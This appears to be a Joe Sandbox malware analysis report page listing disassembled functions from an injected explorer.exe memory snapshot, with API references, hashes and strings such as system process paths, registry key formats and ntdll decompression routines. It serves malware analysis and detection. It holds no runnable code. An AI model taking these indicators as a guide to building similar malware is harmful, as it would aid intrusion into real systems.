Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 1af85ed40ec5fe5925729e172f13b0619eafdd898deb4fdde66c2bcd196ed5c7
Instruction ID: 4891d3be781abf40b88bba6e1d7efba37e1cdb0be7fef878a29acac80d8b9ae3
Opcode Fuzzy Hash: 1af85ed40ec5fe5925729e172f13b0619eafdd898deb4fdde66c2bcd196ed5c7
Instruction Fuzzy Hash: 7111363231064765D60E6F35EDC03EE7A50AB94BB6F4A1319EE360B3D1DB3884438761

Function 011C00C4 Relevance: 10.6, APIs: 7, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 011C00E7
_errno.LIBCMT ref: 011C00EF

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: f916ec779f3b3909533c4aee4f8641efd325b308d98421a274a97015631c8405
Instruction ID: 43207f0d192420a6e5db6e2fd3a243a88753d0f8aa9925b2628d6c6a93bc5009
Opcode Fuzzy Hash: f916ec779f3b3909533c4aee4f8641efd325b308d98421a274a97015631c8405
Instruction Fuzzy Hash: E111273231064196D30E6F68ED803AEBA50ABA4FE6F4A4108EA150B391CB78C8818761

Function 011C30A0 Relevance: 10.6, APIs: 7, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 011C30B9
FlushFileBuffers.KERNEL32(?,00000000,00000000,011C2B4A,?,?,00000001,011C2BF3,?,?,?,?,?,011C0349), ref: 011C311C
GetLastError.KERNEL32(?,00000000,00000000,011C2B4A,?,?,00000001,011C2BF3,?,?,?,?,?,011C0349), ref: 011C3126
__doserrno.LIBCMT ref: 011C3136
_errno.LIBCMT ref: 011C313D

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$BuffersErrorFileFlushLast__doserrno
String ID:
API String ID: 1845094721-0
Opcode ID: eaa48e95c07d106bc380b8e278254a3f1cd83a11f50f2ee3ca91b8f95065ff35
Instruction ID: b2d2f02a5ef89d05366f609a0f59c092e87d11857fb6e2dd8c283a9faacdab99
Opcode Fuzzy Hash: eaa48e95c07d106bc380b8e278254a3f1cd83a11f50f2ee3ca91b8f95065ff35
Instruction Fuzzy Hash: A911D3317106854AD71E6FB8E9D43AE6A71BBE0F94F09812CDB2607391DB788841C755

Function 011C33A4 Relevance: 10.6, APIs: 7, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 011C33BD
_errno.LIBCMT ref: 011C33C5
_close_nolock.LIBCMT ref: 011C341C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: 773c676cbaad17fd7ccffa4336c236bbeb90efe55f47f68eeb1bf6bdf8e8be71
Instruction ID: d24861dc185d63067825fd97a6b546285277ebd336fb92ea1d946371858e4bf4
Opcode Fuzzy Hash: 773c676cbaad17fd7ccffa4336c236bbeb90efe55f47f68eeb1bf6bdf8e8be71
Instruction Fuzzy Hash: 1611273262028556E31E6F35E9C43AEAA51BBA0FA1F99862CD63A077D1CB788441C724

Function 011B1BC0 Relevance: 10.6, APIs: 7, Instructions: 52filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 011B1BFA
GetFileSize.KERNEL32 ref: 011B1C18
LocalAlloc.KERNEL32 ref: 011B1C34
ReadFile.KERNEL32 ref: 011B1C64
CloseHandle.KERNEL32 ref: 011B1C7D
LocalFree.KERNEL32 ref: 011B1C9A
CloseHandle.KERNEL32 ref: 011B1CA5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: fb08c3f44cab8cb537ddc1caec5fd8c485336597aab209f4fa5d9c0564146e40
Instruction ID: 22681508df078266166273e6ab45af81c0fabfb2bf9537cebcfc6be9189ee93a
Opcode Fuzzy Hash: fb08c3f44cab8cb537ddc1caec5fd8c485336597aab209f4fa5d9c0564146e40
Instruction Fuzzy Hash: BD21B436618A8087E718DF29F49839AB7B0F3C57A4F600215EB9947BA8CF7DC855CB40

Function 011AE2B0 Relevance: 10.6, APIs: 7, Instructions: 52filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 011AE2EA
GetFileSize.KERNEL32 ref: 011AE308
LocalAlloc.KERNEL32 ref: 011AE324
ReadFile.KERNEL32 ref: 011AE354
CloseHandle.KERNEL32 ref: 011AE36D
LocalFree.KERNEL32 ref: 011AE38A
CloseHandle.KERNEL32 ref: 011AE395

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: b3b551aaca53fccd4ae67340d2bdd3b7548046abc673dd5a7dd6b9128e2609e2
Instruction ID: e5f2539672c8002f2a16baea140a1c7452bc16d658c6fea7645038511a8b9af5
Opcode Fuzzy Hash: b3b551aaca53fccd4ae67340d2bdd3b7548046abc673dd5a7dd6b9128e2609e2
Instruction Fuzzy Hash: 6B21A736219A4483D718AF59F45435ABBB0F7C57A4F500629EB9983BA8DF7DC445CF00

Function 011A2230 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 011A2253

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

GetSystemDirectoryW.KERNEL32 ref: 011A2295

Strings

%s\EXPLORER.EXE, xrefs: 011A2262
%s\CMD.EXE, xrefs: 011A22E3
%s\SVCHOST.EXE, xrefs: 011A22A4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Directory$SystemWindows_errno_invalid_parameter_noinfo
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE
API String ID: 3092845267-3707798339
Opcode ID: 46e7bb4ff8f1aebdfd4eb7e0c7df188c2aa70b52b7c59ab06d928eab087db82e
Instruction ID: a17700f7b862af972b6ab736ee2bcdfd15393ae1eebd7980d62c5758d8932eb7
Opcode Fuzzy Hash: 46e7bb4ff8f1aebdfd4eb7e0c7df188c2aa70b52b7c59ab06d928eab087db82e
Instruction Fuzzy Hash: 1911217561C685C3EB0CDB51E8803DA6B64F7D6758F504026FB8757A58CB7CC881CB91

Function 01194710 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegOpenKeyW.ADVAPI32 ref: 0119474E
RegSetValueExW.ADVAPI32 ref: 01194789
RegCloseKey.ADVAPI32 ref: 01194798

Strings

SOFTWARE\%s, xrefs: 01194727
{7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}, xrefs: 01194720, 0119477D

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseOpenValue_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}
API String ID: 2168760479-1494669752
Opcode ID: 939a899e7ea8db28a757730d9663b4bab80499fce987b8791b7c3842192692b5
Instruction ID: 49ec6aeff1644f9fd051ed3c0074d58d62b03d0ed00b4af21824c93beae65697
Opcode Fuzzy Hash: 939a899e7ea8db28a757730d9663b4bab80499fce987b8791b7c3842192692b5
Instruction Fuzzy Hash: 5A114075224A8596EB58DF25F8547DE73A0F785B84F804125A79A83BA8DF7CC106CB40

Function 01197770 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 0119778A

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegGetValueW.ADVAPI32 ref: 011977FC
LocalFree.KERNEL32 ref: 01197820

Strings

{F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}, xrefs: 011977A1
{B754ECBA-7F6B-46D7-8AE7-AE4B2FDCD1C1}, xrefs: 011977E9
SOFTWARE\%s, xrefs: 011977A8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeValue_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${B754ECBA-7F6B-46D7-8AE7-AE4B2FDCD1C1}${F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079}
API String ID: 3172112264-3335224962
Opcode ID: 4a1286ad05cb3682face972baaa7493cd4c3cd92e28d625ee39da449b929514c
Instruction ID: 7573a13bc64419cb817599b0d3a5ad2e6f161bcde55623cad04d2851442a64ad
Opcode Fuzzy Hash: 4a1286ad05cb3682face972baaa7493cd4c3cd92e28d625ee39da449b929514c
Instruction Fuzzy Hash: D111F331218B8582EB58DB54F4483DAB3B4F785758FA00229E79D87BA8DF7DC54ACB40

Function 011A3A60 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 011A3A6B
GetProcAddress.KERNEL32 ref: 011A3A82
GetProcAddress.KERNEL32 ref: 011A3A9B

Strings

RtlDecompressBuffer, xrefs: 011A3A76
RtlGetCompressionWorkSpaceSize, xrefs: 011A3A8F
NTDLL.DLL, xrefs: 011A3A64

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NTDLL.DLL$RtlDecompressBuffer$RtlGetCompressionWorkSpaceSize
API String ID: 667068680-1459209654
Opcode ID: 99c34056dace75a87c6772c8f9530ccf68f2bd4aaada53c51aa2ff5587048d9e
Instruction ID: 2409bea6a0dd9b8cd4fcfd8ff5587ba654fe15755245f1de06b99da26104feb7
Opcode Fuzzy Hash: 99c34056dace75a87c6772c8f9530ccf68f2bd4aaada53c51aa2ff5587048d9e
Instruction Fuzzy Hash: E3F0A435954F5882E72D9B18F8983E537A0F794748F8445269B8A82274EF7CC29AC681

Function 011BB0E4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BB103

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

Part of subcall function 011BC4E0: _getptd.LIBCMT ref: 011BC4E4

_getptd.LIBCMT ref: 011BB115
_getptd.LIBCMT ref: 011BB123

Strings

csm, xrefs: 011BB0FB
RCC, xrefs: 011BB0EB
MOC, xrefs: 011BB0F3

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 9b1d25e41cb6f60ff9d10fea1865af2b516c1639544035d129adf6bb36f99700
Instruction ID: a2814bf7033c923ab444bac8d543a65391a07bf2c6fa4951ee4c9c13dcaab320
Opcode Fuzzy Hash: 9b1d25e41cb6f60ff9d10fea1865af2b516c1639544035d129adf6bb36f99700
Instruction Fuzzy Hash: 7EE01A3AA04106CAD72E6B69E0853EC36A1FFA8B0BF86D061C25443700C7BC8580CA66

Function 011947C0 Relevance: 9.2, APIs: 6, Instructions: 245synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011947EB
LocalFree.KERNEL32 ref: 01194880

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocalObjectSingleWait
String ID:
API String ID: 2302018356-0
Opcode ID: f49430829550468032db8019027c05be34a64d79151aecb5546c78de584d337c
Instruction ID: e6ba5c277c94026cad34255658b413760d5742e2cb6160e8e9789cdc2ec0a1d3
Opcode Fuzzy Hash: f49430829550468032db8019027c05be34a64d79151aecb5546c78de584d337c
Instruction Fuzzy Hash: 8FE1E276209B80C6EB68CB18F4D53EAB7A0F794704F55012AD79E86BA4EB7CC147CB41

Function 011BDF08 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BDF27

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

Part of subcall function 011BDB44: _getptd.LIBCMT ref: 011BDB4E
Part of subcall function 011BDB44: _amsg_exit.LIBCMT ref: 011BDBEB

Part of subcall function 011BDC00: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,011BDF42,?,?,?,?,?,011BE0FF), ref: 011BDC2A

Part of subcall function 011C06CC: malloc.LIBCMT ref: 011C06F7
Part of subcall function 011C06CC: Sleep.KERNEL32(?,?,00000000,011C0C0D,?,?,?,011C0CB7,?,?,00000000,011BACB5,?,?,00000000,011BAD6C), ref: 011C070A

free.LIBCMT ref: 011BDFB2

Part of subcall function 011BC600: RtlFreeHeap.NTDLL(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC616
Part of subcall function 011BC600: _errno.LIBCMT ref: 011BC620
Part of subcall function 011BC600: GetLastError.KERNEL32(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC628

_lock.LIBCMT ref: 011BDFE2
free.LIBCMT ref: 011BE085
free.LIBCMT ref: 011BE0B1
_errno.LIBCMT ref: 011BE0B6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: 73e5fff96fc2ff2ac652b7bf0c36a42a1b1abcda39ba731aff748bc9adf327a5
Instruction ID: 928c58faa11619feaf253ddb8e7c857bf3fed03b0c6e32ccc422f72af1a3858d
Opcode Fuzzy Hash: 73e5fff96fc2ff2ac652b7bf0c36a42a1b1abcda39ba731aff748bc9adf327a5
Instruction Fuzzy Hash: 4F41F03230568186EB1D9F25E4C03EEBBA1F794B88F18812ACB5A47365CF7DD442C751

Function 011BF2A4 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,011B99A0), ref: 011BF2BD
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,011B99A0), ref: 011BF314
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,011B99A0), ref: 011BF34F
free.LIBCMT ref: 011BF35C
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,011B99A0), ref: 011BF367
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,011B99A0), ref: 011BF375

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: 563162d2e5260f89e2bfbf515d72d6f960428c1aed3f702d6255aeff5e47df9e
Instruction ID: b479a2ae720b8a3c34485e75ce9e82b77fe2ea351c58702e59df18209982bc2b
Opcode Fuzzy Hash: 563162d2e5260f89e2bfbf515d72d6f960428c1aed3f702d6255aeff5e47df9e
Instruction Fuzzy Hash: 39219536609B8186EB289F26F8947ADB7A5F789FD0F484014DF8A07B68DF38C051C704

Function 01199400 Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 011994B0: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,01199412), ref: 011994C7
Part of subcall function 011994B0: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,01199412), ref: 011994F1
Part of subcall function 011994B0: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199522
Part of subcall function 011994B0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199535
Part of subcall function 011994B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 0119958D
Part of subcall function 011994B0: CoTaskMemFree.COMBASE(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199598

GetFileAttributesW.KERNEL32 ref: 01199428
LocalFree.KERNEL32 ref: 0119943E
_LDint.LIBCPMTD ref: 01199454
GetFileAttributesW.KERNEL32 ref: 01199475
LocalFree.KERNEL32 ref: 0119948B

Memory Dump Source

